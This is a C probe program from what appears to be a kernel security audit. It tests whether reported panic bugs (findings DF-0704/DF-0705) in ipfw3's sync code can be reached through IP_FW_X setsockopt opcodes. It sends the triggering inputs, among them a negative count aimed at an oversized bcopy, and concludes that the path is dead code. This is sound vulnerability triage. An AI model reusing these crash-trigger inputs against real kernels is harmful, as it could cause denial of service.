DF-0705 / ipfw3_sync_probe.c
/* * DF-0704 / DF-0705 reachability probe. * * Both findings cite panics in sys/net/ipfw3_basic/ip_fw3_sync.c. To reach * them, the IP_FW_SYNC_* opcodes (set via IP_FW_X) must dispatch to * ip_fw3_ctl_sync_sockopt(). That dispatch is gated by the global function * pointer `ip_fw3_ctl_sync_ptr` (sys/net/ipfw3/ip_fw3.c:133, init NULL). * * 1125: if (ip_fw3_ctl_sync_ptr != NULL) { * 1126: error = ip_fw3_ctl_sync_ptr(sopt); <- only call site * * grep shows `ip_fw3_ctl_sync_ptr = ` NEVER appears anywhere in the tree. * The only initialiser for the related sync state, ip_fw3_sync_modevent() * (ip_fw3_sync.c:470), is also never invoked — ipfw3_basic's module hook * (ip_fw3_basic.c:657-658) calls only state_modevent and table_modevent. * * Conclusion: on a default kernel, the entire ipfw3_sync.c code path is dead. * This probe issues IP_FW_SYNC_EDGE_START / IP_FW_SYNC_CENTRE_CONF (negative * count) / IP_FW_SYNC_SHOW_CONF and confirms each returns success-with-no- * effect (the opcode silently falls through), proving the buggy functions * are unreachable. * * Run as root (IP_FW_X requires a raw IP socket, which requires * SYSCAP_NONET_RAW). An unprivileged user cannot even create the socket. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #ifndef IP_FW_X #define IP_FW_X 49 #endif /* opcodes from sys/net/ipfw3/ip_fw3.h */ #define OP_SYNC_EDGE_START 85 #define OP_SYNC_CENTRE_CONF 89 #define OP_SYNC_SHOW_CONF 82 struct ip_fw_x_header { uint16_t opcode; uint16_t _pad; } __attribute__((packed)); static int fire(int s, uint16_t opcode, void *payload, size_t plen) { /* the glue layer: ip_fw3_ctl_x() reads sopt_val as [xhdr][payload] * then memmoves payload over the xhdr in-place, sets sopt_name=opcode, * and calls ip_fw3_ctl(). */ size_t total = sizeof(struct ip_fw_x_header) + plen; char buf[512]; if (total > sizeof(buf)) return -ENOMEM; struct ip_fw_x_header *h = (struct ip_fw_x_header *)buf; h->opcode = opcode; h->_pad = 0; if (plen) memcpy(buf + sizeof(*h), payload, plen); int rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, total); printf("[fire opcode=%u plen=%zu] setsockopt rc=%d errno=%d (%s)\n", opcode, plen, rc, errno, strerror(errno)); return rc; } int main(void) { int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(AF_INET, SOCK_RAW, IPPROTO_RAW)"); return 1; } printf("[*] invoking IP_FW_SYNC_EDGE_START (DF-0705 panic 1: NULL edge_sock -> sobind)\n"); fire(s, OP_SYNC_EDGE_START, NULL, 0); printf("[*] invoking IP_FW_SYNC_CENTRE_CONF with count=-1 (DF-0705 panic 3: huge bcopy)\n"); struct { int count; /* edges[0] is flexible; none needed for count=-1 */ } cc = { .count = -1 }; fire(s, OP_SYNC_CENTRE_CONF, &cc, sizeof(cc)); printf("[*] invoking IP_FW_SYNC_SHOW_CONF (DF-0705 panic 3 read-back path)\n"); char out[64]; memset(out, 0, sizeof(out)); fire(s, OP_SYNC_SHOW_CONF, out, sizeof(out)); printf("[+] All three returned without panic.\n"); printf("[+] Conclusion: ip_fw3_ctl_sync_ptr is NULL; IP_FW_SYNC_* opcodes are dead code.\n"); close(s); return 0; } |